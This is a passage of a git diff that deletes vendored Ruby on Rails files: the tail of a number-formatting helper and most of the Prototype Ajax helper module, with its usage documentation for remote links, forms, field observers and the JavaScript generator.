-          precision = args[0] || defaults[:precision]
-        end
-
-        precision ||= (options[:precision] || defaults[:precision])
-        separator ||= (options[:separator] || defaults[:separator])
-        delimiter ||= (options[:delimiter] || defaults[:delimiter])
-
-        begin
-          rounded_number = (Float(number) * (10 ** precision)).round.to_f / 10 ** precision
-          number_with_delimiter("%01.#{precision}f" % rounded_number,
-            :separator => separator,
-            :delimiter => delimiter)
-        rescue
-          number
-        end
-      end
-
-      STORAGE_UNITS = [:byte, :kb, :mb, :gb, :tb].freeze
-
-      # Formats the bytes in +size+ into a more understandable representation
-      # (e.g., giving it 1500 yields 1.5 KB). This method is useful for
-      # reporting file sizes to users. This method returns nil if
-      # +size+ cannot be converted into a number. You can customize the
-      # format in the +options+ hash.
-      #
-      # ==== Options
-      # * <tt>:precision</tt>  - Sets the level of precision (defaults to 1).
-      # * <tt>:separator</tt>  - Sets the separator between the units (defaults to ".").
-      # * <tt>:delimiter</tt>  - Sets the thousands delimiter (defaults to "").
-      #
-      # ==== Examples
-      #  number_to_human_size(123)                                          # => 123 Bytes
-      #  number_to_human_size(1234)                                         # => 1.2 KB
-      #  number_to_human_size(12345)                                        # => 12.1 KB
-      #  number_to_human_size(1234567)                                      # => 1.2 MB
-      #  number_to_human_size(1234567890)                                   # => 1.1 GB
-      #  number_to_human_size(1234567890123)                                # => 1.1 TB
-      #  number_to_human_size(1234567, :precision => 2)                     # => 1.18 MB
-      #  number_to_human_size(483989, :precision => 0)                      # => 473 KB
-      #  number_to_human_size(1234567, :precision => 2, :separator => ',')  # => 1,18 MB
-      #
-      # Zeros after the decimal point are always stripped out, regardless of the
-      # specified precision:
-      #  helper.number_to_human_size(1234567890123, :precision => 5)        # => "1.12283 TB"
-      #  helper.number_to_human_size(524288000, :precision=>5)              # => "500 MB"
-      #
-      # You can still use <tt>number_to_human_size</tt> with the old API that accepts the
-      # +precision+ as its optional second parameter:
-      #  number_to_human_size(1234567, 2)    # => 1.18 MB
-      #  number_to_human_size(483989, 0)     # => 473 KB
-      def number_to_human_size(number, *args)
-        return nil if number.nil?
-
-        options = args.extract_options!
-        options.symbolize_keys!
-
-        defaults = I18n.translate(:'number.format', :locale => options[:locale], :raise => true) rescue {}
-        human    = I18n.translate(:'number.human.format', :locale => options[:locale], :raise => true) rescue {}
-        defaults = defaults.merge(human)
-
-        unless args.empty?
-          ActiveSupport::Deprecation.warn('number_to_human_size takes an option hash ' +
-            'instead of a separate precision argument.', caller)
-          precision = args[0] || defaults[:precision]
-        end
-
-        precision ||= (options[:precision] || defaults[:precision])
-        separator ||= (options[:separator] || defaults[:separator])
-        delimiter ||= (options[:delimiter] || defaults[:delimiter])
-
-        storage_units_format = I18n.translate(:'number.human.storage_units.format', :locale => options[:locale], :raise => true)
-
-        if number.to_i < 1024
-          unit = I18n.translate(:'number.human.storage_units.units.byte', :locale => options[:locale], :count => number.to_i, :raise => true)
-          storage_units_format.gsub(/%n/, number.to_i.to_s).gsub(/%u/, unit)
-        else
-          max_exp  = STORAGE_UNITS.size - 1
-          number   = Float(number)
-          exponent = (Math.log(number) / Math.log(1024)).to_i # Convert to base 1024
-          exponent = max_exp if exponent > max_exp # we need this to avoid overflow for the highest unit
-          number  /= 1024 ** exponent
-
-          unit_key = STORAGE_UNITS[exponent]
-          unit = I18n.translate(:"number.human.storage_units.units.#{unit_key}", :locale => options[:locale], :count => number, :raise => true)
-
-          begin
-            escaped_separator = Regexp.escape(separator)
-            formatted_number = number_with_precision(number,
-              :precision => precision,
-              :separator => separator,
-              :delimiter => delimiter
-            ).sub(/(#{escaped_separator})(\d*[1-9])?0+\z/, '\1\2').sub(/#{escaped_separator}\z/, '')
-            storage_units_format.gsub(/%n/, formatted_number).gsub(/%u/, unit)
-          rescue
-            number
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/prototype_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/prototype_helper.rb
deleted file mode 100644
index 3b3278fb..00000000
--- a/vendor/rails/actionpack/lib/action_view/helpers/prototype_helper.rb
+++ /dev/null
@@ -1,1305 +0,0 @@
-require 'set'
-require 'active_support/json'
-
-module ActionView
-  module Helpers
-    # Prototype[http://www.prototypejs.org/] is a JavaScript library that provides
-    # DOM[http://en.wikipedia.org/wiki/Document_Object_Model] manipulation,
-    # Ajax[http://www.adaptivepath.com/publications/essays/archives/000385.php]
-    # functionality, and more traditional object-oriented facilities for JavaScript.
-    # This module provides a set of helpers to make it more convenient to call
-    # functions from Prototype using Rails, including functionality to call remote
-    # Rails methods (that is, making a background request to a Rails action) using Ajax.
-    # This means that you can call actions in your controllers without
-    # reloading the page, but still update certain parts of it using
-    # injections into the DOM. A common use case is having a form that adds
-    # a new element to a list without reloading the page or updating a shopping
-    # cart total when a new item is added.
-    #
-    # == Usage
-    # To be able to use these helpers, you must first include the Prototype
-    # JavaScript framework in your pages.
-    #
-    #  javascript_include_tag 'prototype'
-    #
-    # (See the documentation for
-    # ActionView::Helpers::JavaScriptHelper for more information on including
-    # this and other JavaScript files in your Rails templates.)
-    #
-    # Now you're ready to call a remote action either through a link...
-    #
-    #  link_to_remote "Add to cart",
-    #    :url => { :action => "add", :id => product.id },
-    #    :update => { :success => "cart", :failure => "error" }
-    #
-    # ...through a form...
-    #
-    #  <% form_remote_tag :url => '/shipping' do -%>
-    #    <div><%= submit_tag 'Recalculate Shipping' %></div>
-    #  <% end -%>
-    #
-    # ...periodically...
-    #
-    #  periodically_call_remote(:url => 'update', :frequency => '5', :update => 'ticker')
-    #
-    # ...or through an observer (i.e., a form or field that is observed and calls a remote
-    # action when changed).
-    #
-    #  <%= observe_field(:searchbox,
-    #       :url => { :action => :live_search }),
-    #       :frequency => 0.5,
-    #       :update => :hits,
-    #       :with => 'query'
-    #       %>
-    #
-    # As you can see, there are numerous ways to use Prototype's Ajax functions (and actually more than
-    # are listed here); check out the documentation for each method to find out more about its usage and options.
-    #
-    # === Common Options
-    # See link_to_remote for documentation of options common to all Ajax
-    # helpers; any of the options specified by link_to_remote can be used
-    # by the other helpers.
-    #
-    # == Designing your Rails actions for Ajax
-    # When building your action handlers (that is, the Rails actions that receive your background requests), it's
-    # important to remember a few things.  First, whatever your action would normally return to the browser, it will
-    # return to the Ajax call.  As such, you typically don't want to render with a layout.  This call will cause
-    # the layout to be transmitted back to your page, and, if you have a full HTML/CSS, will likely mess a lot of things up.
-    # You can turn the layout off on particular actions by doing the following:
-    #
-    #  class SiteController < ActionController::Base
-    #    layout "standard", :except => [:ajax_method, :more_ajax, :another_ajax]
-    #  end
-    #
-    # Optionally, you could do this in the method you wish to lack a layout:
-    #
-    #  render :layout => false
-    #
-    # You can tell the type of request from within your action using the <tt>request.xhr?</tt> (XmlHttpRequest, the
-    # method that Ajax uses to make background requests) method.
-    #  def name
-    #    # Is this an XmlHttpRequest request?
-    #    if (request.xhr?)
-    #      render :text => @name.to_s
-    #    else
-    #      # No?  Then render an action.
-    #      render :action => 'view_attribute', :attr => @name
-    #    end
-    #  end
-    #
-    # The else clause can be left off and the current action will render with full layout and template. An extension
-    # to this solution was posted to Ryan Heneise's blog at ArtOfMission["http://www.artofmission.com/"].
-    #
-    #  layout proc{ |c| c.request.xhr? ? false : "application" }
-    #
-    # Dropping this in your ApplicationController turns the layout off for every request that is an "xhr" request.
-    #
-    # If you are just returning a little data or don't want to build a template for your output, you may opt to simply
-    # render text output, like this:
-    #
-    #  render :text => 'Return this from my method!'
-    #
-    # Since whatever the method returns is injected into the DOM, this will simply inject some text (or HTML, if you
-    # tell it to).  This is usually how small updates, such updating a cart total or a file count, are handled.
-    #
-    # == Updating multiple elements
-    # See JavaScriptGenerator for information on updating multiple elements
-    # on the page in an Ajax response.
-    module PrototypeHelper
-      unless const_defined? :CALLBACKS
-        CALLBACKS    = Set.new([ :create, :uninitialized, :loading, :loaded,
-                         :interactive, :complete, :failure, :success ] +
-                         (100..599).to_a)
-        AJAX_OPTIONS = Set.new([ :before, :after, :condition, :url,
-                         :asynchronous, :method, :insertion, :position,
-                         :form, :with, :update, :script, :type ]).merge(CALLBACKS)
-      end
-
-      # Returns a link to a remote action defined by <tt>options[:url]</tt>
-      # (using the url_for format) that's called in the background using
-      # XMLHttpRequest. The result of that request can then be inserted into a
-      # DOM object whose id can be specified with <tt>options[:update]</tt>.
-      # Usually, the result would be a partial prepared by the controller with
-      # render :partial.
-      #
-      # Examples:
-      #   # Generates: <a href="#" onclick="new Ajax.Updater('posts', '/blog/destroy/3', {asynchronous:true, evalScripts:true});
-      #   #            return false;">Delete this post</a>
-      #   link_to_remote "Delete this post", :update => "posts",
-      #     :url => { :action => "destroy", :id => post.id }
-      #
-      #   # Generates: <a href="#" onclick="new Ajax.Updater('emails', '/mail/list_emails', {asynchronous:true, evalScripts:true});
-      #   #            return false;"><img alt="Refresh" src="/images/refresh.png?" /></a>
-      #   link_to_remote(image_tag("refresh"), :update => "emails",
-      #     :url => { :action => "list_emails" })
-      #
-      # You can override the generated HTML options by specifying a hash in
-      # <tt>options[:html]</tt>.
-      #
-      #   link_to_remote "Delete this post", :update => "posts",
-      #     :url  => post_url(@post), :method => :delete,
-      #     :html => { :class  => "destructive" }
-      #
-      # You can also specify a hash for <tt>options[:update]</tt> to allow for
-      # easy redirection of output to an other DOM element if a server-side
-      # error occurs:
-      #
-      # Example:
-      #   # Generates: <a href="#" onclick="new Ajax.Updater({success:'posts',failure:'error'}, '/blog/destroy/5',
-      #   #            {asynchronous:true, evalScripts:true}); return false;">Delete this post</a>
-      #   link_to_remote "Delete this post",
-      #     :url => { :action => "destroy", :id => post.id },
-      #     :update => { :success => "posts", :failure => "error" }
-      #
-      # Optionally, you can use the <tt>options[:position]</tt> parameter to
-      # influence how the target DOM element is updated. It must be one of
-      # <tt>:before</tt>, <tt>:top</tt>, <tt>:bottom</tt>, or <tt>:after</tt>.
-      #
-      # The method used is by default POST. You can also specify GET or you
-      # can simulate PUT or DELETE over POST. All specified with <tt>options[:method]</tt>
-      #
-      # Example:
-      #   # Generates: <a href="#" onclick="new Ajax.Request('/person/4', {asynchronous:true, evalScripts:true, method:'delete'});
-      #   #            return false;">Destroy</a>
-      #   link_to_remote "Destroy", :url => person_url(:id => person), :method => :delete
-      #
-      # By default, these remote requests are processed asynchronous during
-      # which various JavaScript callbacks can be triggered (for progress
-      # indicators and the likes). All callbacks get access to the
-      # <tt>request</tt> object, which holds the underlying XMLHttpRequest.
-      #
-      # To access the server response, use <tt>request.responseText</tt>, to
-      # find out the HTTP status, use <tt>request.status</tt>.
-      #
-      # Example:
-      #   # Generates: <a href="#" onclick="new Ajax.Request('/words/undo?n=33', {asynchronous:true, evalScripts:true,
-      #   #            onComplete:function(request){undoRequestCompleted(request)}}); return false;">hello</a>
-      #   word = 'hello'
-      #   link_to_remote word,
-      #     :url => { :action => "undo", :n => word_counter },
-      #     :complete => "undoRequestCompleted(request)"
-      #
-      # The callbacks that may be specified are (in order):
-      #
-      # <tt>:loading</tt>::       Called when the remote document is being
-      #                           loaded with data by the browser.
-      # <tt>:loaded</tt>::        Called when the browser has finished loading
-      #                           the remote document.
-      # <tt>:interactive</tt>::   Called when the user can interact with the
-      #                           remote document, even though it has not
-      #                           finished loading.
-      # <tt>:success</tt>::       Called when the XMLHttpRequest is completed,
-      #                           and the HTTP status code is in the 2XX range.
-      # <tt>:failure</tt>::       Called when the XMLHttpRequest is completed,
-      #                           and the HTTP status code is not in the 2XX
-      #                           range.
-      # <tt>:complete</tt>::      Called when the XMLHttpRequest is complete
-      #                           (fires after success/failure if they are
-      #                           present).
-      #
-      # You can further refine <tt>:success</tt> and <tt>:failure</tt> by
-      # adding additional callbacks for specific status codes.
-      #
-      # Example:
-      #   # Generates: <a href="#" onclick="new Ajax.Request('/testing/action', {asynchronous:true, evalScripts:true,
-      #   #            on404:function(request){alert('Not found...? Wrong URL...?')},
-      #   #            onFailure:function(request){alert('HTTP Error ' + request.status + '!')}}); return false;">hello</a>
-      #   link_to_remote word,
-      #     :url => { :action => "action" },
-      #     404 => "alert('Not found...? Wrong URL...?')",
-      #     :failure => "alert('HTTP Error ' + request.status + '!')"
-      #
-      # A status code callback overrides the success/failure handlers if
-      # present.
-      #
-      # If you for some reason or another need synchronous processing (that'll
-      # block the browser while the request is happening), you can specify
-      # <tt>options[:type] = :synchronous</tt>.
-      #
-      # You can customize further browser side call logic by passing in
-      # JavaScript code snippets via some optional parameters. In their order
-      # of use these are:
-      #
-      # <tt>:confirm</tt>::      Adds confirmation dialog.
-      # <tt>:condition</tt>::    Perform remote request conditionally
-      #                          by this expression. Use this to
-      #                          describe browser-side conditions when
-      #                          request should not be initiated.
-      # <tt>:before</tt>::       Called before request is initiated.
-      # <tt>:after</tt>::        Called immediately after request was
-      #                          initiated and before <tt>:loading</tt>.
-      # <tt>:submit</tt>::       Specifies the DOM element ID that's used
-      #                          as the parent of the form elements. By
-      #                          default this is the current form, but
-      #                          it could just as well be the ID of a
-      #                          table row or any other DOM element.
-      # <tt>:with</tt>::         A JavaScript expression specifying
-      #                          the parameters for the XMLHttpRequest.
-      #                          Any expressions should return a valid
-      #                          URL query string.
-      #
-      #                          Example:
-      #
-      #                            :with => "'name=' + $('name').value"
-      #
-      # You can generate a link that uses AJAX in the general case, while
-      # degrading gracefully to plain link behavior in the absence of
-      # JavaScript by setting <tt>html_options[:href]</tt> to an alternate URL.
-      # Note the extra curly braces around the <tt>options</tt> hash separate
-      # it as the second parameter from <tt>html_options</tt>, the third.
-      #
-      # Example:
-      #   link_to_remote "Delete this post",
-      #     { :update => "posts", :url => { :action => "destroy", :id => post.id } },
-      #     :href => url_for(:action => "destroy", :id => post.id)
-      def link_to_remote(name, options = {}, html_options = nil)
-        link_to_function(name, remote_function(options), html_options || options.delete(:html))
-      end
-
-      # Creates a button with an onclick event which calls a remote action
-      # via XMLHttpRequest
-      # The options for specifying the target with :url
-      # and defining callbacks is the same as link_to_remote.
-      def button_to_remote(name, options = {}, html_options = {})
-        button_to_function(name, remote_function(options), html_options)
-      end
-
-      # Periodically calls the specified url (<tt>options[:url]</tt>) every
-      # <tt>options[:frequency]</tt> seconds (default is 10). Usually used to
-      # update a specified div (<tt>options[:update]</tt>) with the results
-      # of the remote call. The options for specifying the target with <tt>:url</tt>
-      # and defining callbacks is the same as link_to_remote.
-      # Examples:
-      #  # Call get_averages and put its results in 'avg' every 10 seconds
-      #  # Generates:
-      #  #      new PeriodicalExecuter(function() {new Ajax.Updater('avg', '/grades/get_averages',
-      #  #      {asynchronous:true, evalScripts:true})}, 10)
-      #  periodically_call_remote(:url => { :action => 'get_averages' }, :update => 'avg')
-      #
-      #  # Call invoice every 10 seconds with the id of the customer
-      #  # If it succeeds, update the invoice DIV; if it fails, update the error DIV
-      #  # Generates:
-      #  #      new PeriodicalExecuter(function() {new Ajax.Updater({success:'invoice',failure:'error'},
-      #  #      '/testing/invoice/16', {asynchronous:true, evalScripts:true})}, 10)
-      #  periodically_call_remote(:url => { :action => 'invoice', :id => customer.id },
-      #     :update => { :success => "invoice", :failure => "error" }
-      #
-      #  # Call update every 20 seconds and update the new_block DIV
-      #  # Generates:
-      #  # new PeriodicalExecuter(function() {new Ajax.Updater('news_block', 'update', {asynchronous:true, evalScripts:true})}, 20)
-      #  periodically_call_remote(:url => 'update', :frequency => '20', :update => 'news_block')
-      #
-      def periodically_call_remote(options = {})
-         frequency = options[:frequency] || 10 # every ten seconds by default
-         code = "new PeriodicalExecuter(function() {#{remote_function(options)}}, #{frequency})"
-         javascript_tag(code)
-      end
-
-      # Returns a form tag that will submit using XMLHttpRequest in the
-      # background instead of the regular reloading POST arrangement. Even
-      # though it's using JavaScript to serialize the form elements, the form
-      # submission will work just like a regular submission as viewed by the
-      # receiving side (all elements available in <tt>params</tt>). The options for
-      # specifying the target with <tt>:url</tt> and defining callbacks is the same as
-      # +link_to_remote+.
-      #
-      # A "fall-through" target for browsers that doesn't do JavaScript can be
-      # specified with the <tt>:action</tt>/<tt>:method</tt> options on <tt>:html</tt>.
-      #
-      # Example:
-      #   # Generates:
-      #   #      <form action="/some/place" method="post" onsubmit="new Ajax.Request('',
-      #   #      {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;">
-      #   form_remote_tag :html => { :action =>
-      #     url_for(:controller => "some", :action => "place") }
-      #
-      # The Hash passed to the <tt>:html</tt> key is equivalent to the options (2nd)
-      # argument in the FormTagHelper.form_tag method.
-      #
-      # By default the fall-through action is the same as the one specified in
-      # the <tt>:url</tt> (and the default method is <tt>:post</tt>).
-      #
-      # form_remote_tag also takes a block, like form_tag:
-      #   # Generates:
-      #   #     <form action="/" method="post" onsubmit="new Ajax.Request('/',
-      #   #     {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)});
-      #   #     return false;"> <div><input name="commit" type="submit" value="Save" /></div>
-      #   #     </form>
-      #   <% form_remote_tag :url => '/posts' do -%>
-      #     <div><%= submit_tag 'Save' %></div>
-      #   <% end -%>
-      def form_remote_tag(options = {}, &block)
-        options[:form] = true
-
-        options[:html] ||= {}
-        options[:html][:onsubmit] =
-          (options[:html][:onsubmit] ? options[:html][:onsubmit] + "; " : "") +
-          "#{remote_function(options)}; return false;"
-
-        form_tag(options[:html].delete(:action) || url_for(options[:url]), options[:html], &block)
-      end
-
-      # Creates a form that will submit using XMLHttpRequest in the background
-      # instead of the regular reloading POST arrangement and a scope around a
-      # specific resource that is used as a base for questioning about
-      # values for the fields.
-      #
-      # === Resource
-      #
-      # Example:
-      #   <% remote_form_for(@post) do |f| %>
-      #     ...
-      #   <% end %>
-      #
-      # This will expand to be the same as:
-      #
-      #   <% remote_form_for :post, @post, :url => post_path(@post), :html => { :method => :put, :class => "edit_post", :id => "edit_post_45" } do |f| %>
-      #     ...
-      #   <% end %>
-      #
-      # === Nested Resource
-      #
-      # Example:
-      #   <% remote_form_for([@post, @comment]) do |f| %>
-      #     ...
-      #   <% end %>
-      #
-      # This will expand to be the same as:
-      #
-      #   <% remote_form_for :comment, @comment, :url => post_comment_path(@post, @comment), :html => { :method => :put, :class => "edit_comment", :id => "edit_comment_45" } do |f| %>
-      #     ...
-      #   <% end %>
-      #
-      # If you don't need to attach a form to a resource, then check out form_remote_tag.
-      #
-      # See FormHelper#form_for for additional semantics.
-      def remote_form_for(record_or_name_or_array, *args, &proc)
-        options = args.extract_options!
-
-        case record_or_name_or_array
-        when String, Symbol
-          object_name = record_or_name_or_array
-        when Array
-          object = record_or_name_or_array.last
-          object_name = ActionController::RecordIdentifier.singular_class_name(object)
-          apply_form_for_options!(record_or_name_or_array, options)
-          args.unshift object
-        else
-          object      = record_or_name_or_array
-          object_name = ActionController::RecordIdentifier.singular_class_name(record_or_name_or_array)
-          apply_form_for_options!(object, options)
-          args.unshift object
-        end
-
-        concat(form_remote_tag(options))
-        fields_for(object_name, *(args << options), &proc)
-        concat('</form>'.html_safe)
-      end
-      alias_method :form_remote_for, :remote_form_for
-
-      # Returns a button input tag with the element name of +name+ and a value (i.e., display text) of +value+
-      # that will submit form using XMLHttpRequest in the background instead of a regular POST request that
-      # reloads the page.
-      #
-      #  # Create a button that submits to the create action
-      #  #
-      #  # Generates: <input name="create_btn" onclick="new Ajax.Request('/testing/create',
-      #  #     {asynchronous:true, evalScripts:true, parameters:Form.serialize(this.form)});
-      #  #     return false;" type="button" value="Create" />
-      #  <%= submit_to_remote 'create_btn', 'Create', :url => { :action => 'create' } %>
-      #
-      #  # Submit to the remote action update and update the DIV succeed or fail based
-      #  # on the success or failure of the request
-      #  #
-      #  # Generates: <input name="update_btn" onclick="new Ajax.Updater({success:'succeed',failure:'fail'},
-      #  #      '/testing/update', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this.form)});
-      #  #      return false;" type="button" value="Update" />
-      #  <%= submit_to_remote 'update_btn', 'Update', :url => { :action => 'update' },
-      #     :update => { :success => "succeed", :failure => "fail" }
-      #
-      # <tt>options</tt> argument is the same as in form_remote_tag.
-      def submit_to_remote(name, value, options = {})
-        options[:with] ||= 'Form.serialize(this.form)'
-
-        html_options = options.delete(:html) || {}
-        html_options[:name] = name
-
-        button_to_remote(value, options, html_options)
-      end
-
-      # Returns '<tt>eval(request.responseText)</tt>' which is the JavaScript function
-      # that +form_remote_tag+ can call in <tt>:complete</tt> to evaluate a multiple
-      # update return document using +update_element_function+ calls.
-      def evaluate_remote_response
-        "eval(request.responseText)"
-      end
-
-      # Returns the JavaScript needed for a remote function.
-      # Takes the same arguments as link_to_remote.
-      #
-      # Example:
-      #   # Generates: <select id="options" onchange="new Ajax.Updater('options',
-      #   # '/testing/update_options', {asynchronous:true, evalScripts:true})">
-      #   <select id="options" onchange="<%= remote_function(:update => "options",
-      #       :url => { :action => :update_options }) %>">
-      #     <option value="0">Hello</option>
-      #     <option value="1">World</option>
-      #   </select>
-      def remote_function(options)
-        javascript_options = options_for_ajax(options)
-
-        update = ''
-        if options[:update] && options[:update].is_a?(Hash)
-          update  = []
-          update << "success:'#{options[:update][:success]}'" if options[:update][:success]
-          update << "failure:'#{options[:update][:failure]}'" if options[:update][:failure]
-          update  = '{' + update.join(',') + '}'
-        elsif options[:update]
-          update << "'#{options[:update]}'"
-        end
-
-        function = update.empty? ?
-          "new Ajax.Request(" :
-          "new Ajax.Updater(#{update}, "
-
-        url_options = options[:url]
-        url_options = url_options.merge(:escape => false) if url_options.is_a?(Hash)
-        function << "'#{escape_javascript(url_for(url_options))}'"
-        function << ", #{javascript_options})"
-
-        function = "#{options[:before]}; #{function}" if options[:before]
-        function = "#{function}; #{options[:after]}"  if options[:after]
-        function = "if (#{options[:condition]}) { #{function}; }" if options[:condition]
-        function = "if (confirm('#{escape_javascript(options[:confirm])}')) { #{function}; }" if options[:confirm]
-
-        return function
-      end
-
-      # Observes the field with the DOM ID specified by +field_id+ and calls a
-      # callback when its contents have changed. The default callback is an
-      # Ajax call. By default the value of the observed field is sent as a
-      # parameter with the Ajax call.
-      #
-      # Example:
-      #  # Generates: new Form.Element.Observer('suggest', 0.25, function(element, value) {new Ajax.Updater('suggest',
-      #  #         '/testing/find_suggestion', {asynchronous:true, evalScripts:true, parameters:'q=' + value})})
-      #  <%= observe_field :suggest, :url => { :action => :find_suggestion },
-      #       :frequency => 0.25,
-      #       :update => :suggest,
-      #       :with => 'q'
-      #       %>
-      #
-      # Required +options+ are either of:
-      # <tt>:url</tt>::       +url_for+-style options for the action to call
-      #                       when the field has changed.
-      # <tt>:function</tt>::  Instead of making a remote call to a URL, you
-      #                       can specify javascript code to be called instead.
-      #                       Note that the value of this option is used as the
-      #                       *body* of the javascript function, a function definition
-      #                       with parameters named element and value will be generated for you
-      #                       for example:
-      #                         observe_field("glass", :frequency => 1, :function => "alert('Element changed')")
-      #                       will generate:
-      #                         new Form.Element.Observer('glass', 1, function(element, value) {alert('Element changed')})
-      #                       The element parameter is the DOM element being observed, and the value is its value at the
-      #                       time the observer is triggered.
-      #
-      # Additional options are:
-      # <tt>:frequency</tt>:: The frequency (in seconds) at which changes to
-      #                       this field will be detected. Not setting this
-      #                       option at all or to a value equal to or less than
-      #                       zero will use event based observation instead of
-      #                       time based observation.
-      # <tt>:update</tt>::    Specifies the DOM ID of the element whose
-      #                       innerHTML should be updated with the
-      #                       XMLHttpRequest response text.
-      # <tt>:with</tt>::      A JavaScript expression specifying the parameters
-      #                       for the XMLHttpRequest. The default is to send the
-      #                       key and value of the observed field. Any custom
-      #                       expressions should return a valid URL query string.
-      #                       The value of the field is stored in the JavaScript
-      #                       variable +value+.
-      #
-      #                       Examples
-      #
-      #                         :with => "'my_custom_key=' + value"
-      #                         :with => "'person[name]=' + prompt('New name')"
-      #                         :with => "Form.Element.serialize('other-field')"
-      #
-      #                       Finally
-      #                         :with => 'name'
-      #                       is shorthand for
-      #                         :with => "'name=' + value"
-      #                       This essentially just changes the key of the parameter.
-      #
-      # Additionally, you may specify any of the options documented in the
-      # <em>Common options</em> section at the top of this document.
-      #
-      # Example:
-      #
-      #   # Sends params: {:title => 'Title of the book'} when the book_title input
-      #   # field is changed.
-      #   observe_field 'book_title',
-      #     :url => 'http://example.com/books/edit/1',
-      #     :with => 'title'
-      #
-      #
-      def observe_field(field_id, options = {})
-        if options[:frequency] && options[:frequency] > 0
-          build_observer('Form.Element.Observer', field_id, options)
-        else
-          build_observer('Form.Element.EventObserver', field_id, options)
-        end
-      end
-
-      # Observes the form with the DOM ID specified by +form_id+ and calls a
-      # callback when its contents have changed. The default callback is an
-      # Ajax call. By default all fields of the observed field are sent as
-      # parameters with the Ajax call.
-      #
-      # The +options+ for +observe_form+ are the same as the options for
-      # +observe_field+. The JavaScript variable +value+ available to the
-      # <tt>:with</tt> option is set to the serialized form by default.
-      def observe_form(form_id, options = {})
-        if options[:frequency]
-          build_observer('Form.Observer', form_id, options)
-        else
-          build_observer('Form.EventObserver', form_id, options)
-        end
-      end
-
-      # All the methods were moved to GeneratorMethods so that
-      # #include_helpers_from_context has nothing to overwrite.
-      class JavaScriptGenerator #:nodoc:
-        def initialize(context, &block) #:nodoc:
-          @context, @lines = context, []
-          include_helpers_from_context
-          @context.with_output_buffer(@lines) do
-            @context.instance_exec(self, &block)
-          end
-        end
-
-        private
-          def include_helpers_from_context
-            extend @context.helpers if @context.respond_to?(:helpers)
-            extend GeneratorMethods
-          end
-
-        # JavaScriptGenerator generates blocks of JavaScript code that allow you
-        # to change the content and presentation of multiple DOM elements.  Use
-        # this in your Ajax response bodies, either in a <script> tag or as plain
-        # JavaScript sent with a Content-type of "text/javascript".
-        #
-        # Create new instances with PrototypeHelper#update_page or with
-        # ActionController::Base#render, then call +insert_html+, +replace_html+,
-        # +remove+, +show+, +hide+, +visual_effect+, or any other of the built-in
-        # methods on the yielded generator in any order you like to modify the
-        # content and appearance of the current page.
-        #
-        # Example:
-        #
-        #   # Generates:
-        #   #     new Element.insert("list", { bottom: "<li>Some item</li>" });
-        #   #     new Effect.Highlight("list");
-        #   #     ["status-indicator", "cancel-link"].each(Element.hide);
-        #   update_page do |page|
-        #     page.insert_html :bottom, 'list', "<li>#{@item.name}</li>"
-        #     page.visual_effect :highlight, 'list'
-        #     page.hide 'status-indicator', 'cancel-link'
-        #   end
-        #
-        #
-        # Helper methods can be used in conjunction with JavaScriptGenerator.
-        # When a helper method is called inside an update block on the +page+
-        # object, that method will also have access to a +page+ object.
-        #
-        # Example:
-        #
-        #   module ApplicationHelper
-        #     def update_time
-        #       page.replace_html 'time', Time.now.to_s(:db)
-        #       page.visual_effect :highlight, 'time'
-        #     end
-        #   end
-        #
-        #   # Controller action
-        #   def poll
-        #     render(:update) { |page| page.update_time }
-        #   end
-        #
-        # Calls to JavaScriptGenerator not matching a helper method below
-        # generate a proxy to the JavaScript Class named by the method called.
-        #
-        # Examples:
-        #
-        #   # Generates:
-        #   #     Foo.init();
-        #   update_page do |page|
-        #     page.foo.init
-        #   end
-        #
-        #   # Generates:
-        #   #     Event.observe('one', 'click', function () {
-        #   #       $('two').show();
-        #   #     });
-        #   update_page do |page|
-        #     page.event.observe('one', 'click') do |p|
-        #      p[:two].show
-        #     end
-        #   end
-        #
-        # You can also use PrototypeHelper#update_page_tag instead of
-        # PrototypeHelper#update_page to wrap the generated JavaScript in a
-        # <script> tag.
-        module GeneratorMethods
-          def to_s #:nodoc:
-            (@lines * $/).tap do |javascript|
-              if ActionView::Base.debug_rjs
-                source = javascript.dup
-                javascript.replace "try {\n#{source}\n} catch (e) "
-                javascript << "{ alert('RJS error:\\n\\n' + e.toString()); alert('#{source.gsub('\\','\0\0').gsub(/\r\n|\n|\r/, "\\n").gsub(/["']/) { |m| "\\#{m}" }}'); throw e }"
-              end
-            end
-          end
-
-          # Returns a element reference by finding it through +id+ in the DOM. This element can then be
-          # used for further method calls. Examples:
-          #
-          #   page['blank_slate']                  # => $('blank_slate');
-          #   page['blank_slate'].show             # => $('blank_slate').show();
-          #   page['blank_slate'].show('first').up # => $('blank_slate').show('first').up();
-          #
-          # You can also pass in a record, which will use ActionController::RecordIdentifier.dom_id to lookup
-          # the correct id:
-          #
-          #   page[@post]     # => $('post_45')
-          #   page[Post.new]  # => $('new_post')
-          def [](id)
-            case id
-              when String, Symbol, NilClass
-                JavaScriptElementProxy.new(self, id)
-              else
-                JavaScriptElementProxy.new(self, ActionController::RecordIdentifier.dom_id(id))
-            end
-          end
-
-          # Returns an object whose <tt>to_json</tt> evaluates to +code+. Use this to pass a literal JavaScript
-          # expression as an argument to another JavaScriptGenerator method.
-          def literal(code)
-            ::ActiveSupport::JSON::Variable.new(code.to_s)
-          end
-
-          # Returns a collection reference by finding it through a CSS +pattern+ in the DOM. This collection can then be
-          # used for further method calls. Examples:
-          #
-          #   page.select('p')                      # => $$('p');
-          #   page.select('p.welcome b').first      # => $$('p.welcome b').first();
-          #   page.select('p.welcome b').first.hide # => $$('p.welcome b').first().hide();
-          #
-          # You can also use prototype enumerations with the collection.  Observe:
-          #
-          #   # Generates: $$('#items li').each(function(value) { value.hide(); });
-          #   page.select('#items li').each do |value|
-          #     value.hide
-          #   end
-          #
-          # Though you can call the block param anything you want, they are always rendered in the
-          # javascript as 'value, index.'  Other enumerations, like collect() return the last statement:
-          #
-          #   # Generates: var hidden = $$('#items li').collect(function(value, index) { return value.hide(); });
-          #   page.select('#items li').collect('hidden') do |item|
-          #     item.hide
-          #   end
-          #
-          def select(pattern)
-            JavaScriptElementCollectionProxy.new(self, pattern)
-          end
-
-          # Inserts HTML at the specified +position+ relative to the DOM element
-          # identified by the given +id+.
-          #
-          # +position+ may be one of:
-          #
-          # <tt>:top</tt>::    HTML is inserted inside the element, before the
-          #                    element's existing content.
-          # <tt>:bottom</tt>:: HTML is inserted inside the element, after the
-          #                    element's existing content.
